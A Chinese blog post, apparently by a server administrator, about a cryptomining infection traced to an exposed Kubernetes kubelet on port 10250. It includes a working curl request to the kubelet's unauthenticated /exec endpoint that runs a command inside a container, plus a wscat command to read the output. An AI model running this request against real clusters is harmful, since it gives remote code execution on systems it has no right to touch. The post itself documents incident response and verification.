最近服务器cpu又跑了100%, 卡的不行。一查发现是/tmp/docker 这个进程

Google一下,挖矿木马

蛋疼的一笔。物理服务器没有入侵痕迹,检查下进程是从容器内映射到物理服务器上的

然后检查容器,初步怀疑是容器登录账号泄露导致入侵。

杀掉挖矿进程后,修改容器登录密码,第二天依然被入侵。

继续Google,发现可能是kubelet 10250溢出漏洞导致任意代码远程执行。

链接地址:

1. https://medium.com/handy-tech/analysis-of-a-kubernetes-hack-backdooring-through-kubelet-823be5c3d67c

2. https://www.lijiaocn.com/%E9%97%AE%E9%A2%98/2018/07/20/kubernetes-docker-cpu-high.html

接下来就是按照上文自行验证下:

curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://*.*.*.*:10250/exec/bianbaolei/slave3-xvpt7r-0s8gc/slave3-xvpt7r?command=touch&command=/tmp/onlyellow&input=1&output=1&tty=1"

再进入容器一看,果然有/tmp/onlyellow文件。

上面文章中都提到用wscat命令链接websocket。 因为这条touch命令执行完成后返回值为空,所以连上websocket后看不到啥信息,就立即exit了。 如果替换成ls命令,那么连接上后可以看到ls展开的容器内容。

P.S. CentOS7上面我找了半天也没查到wscat命令,只好去docker仓库里面搞了个融合wscat命令的镜像去执行。docker确实方便啊:docker run -it --rm  joshgubler/wscat

wscat -c "https://*:10250/cri/exec/**" --no-check

Logo

K8S/Kubernetes社区为您提供最前沿的新闻资讯和知识内容

更多推荐